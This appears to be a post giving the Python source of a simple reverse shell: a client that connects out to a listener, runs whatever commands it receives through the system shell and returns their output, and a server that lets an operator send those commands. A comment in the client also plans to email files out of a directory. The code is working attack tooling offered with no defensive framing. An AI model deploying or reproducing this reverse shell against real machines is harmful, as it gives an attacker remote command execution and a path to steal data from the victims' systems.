simple reverse tcp script

simpleRVTCPclient.py

import socket
import os
import subprocess
#1
target_host = "127.0.0.1"
target_port = 8764
#2
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
client.connect((target_host,target_port))
#3
while True:
     data = client.recv(1024)
     if data[:2].decode("utf-8") == 'cd':
          os.chdir(data[3:].decode("utf-8"))
     if len(data) > 0:
          cmd = subprocess.Popen(data[:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE )
          output_bytes = cmd.stdout.read()
          # TODO : send a file from a dir using email here
          output_str = str(output_bytes)
          client.send(str.encode(output_str + str(os.getcwd()) + '$'))
          #print(output_str)
client.close()

simpleRVTCPserver.py

# use numpy and opencv

import socket
import threading
import os
import sys
#1
def send_commands(conn):
     while True:
          cmd = input()
          if cmd == 'quit':
               conn.close()
               server.close()
               sys.exit()
          if len(str.encode(cmd)) > 0:
               conn.send(str.encode(cmd))
               client_response = str(conn.recv(1024))
               print(client_response, end="")
#2
bind_ip = ""
bind_port = 8764
serv_add = ('127.0.0.1' , 8764 )
#3
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((serv_add))
server.listen(5)
print ("[*] listening on {}:{}".format(bind_ip,bind_port))
#4
conn,addr = server.accept()
print('accepted connection from {} and port {}'.format(addr[0],addr[1]))
print("enter the commands below")
#5
send_commands(conn)
conn.close()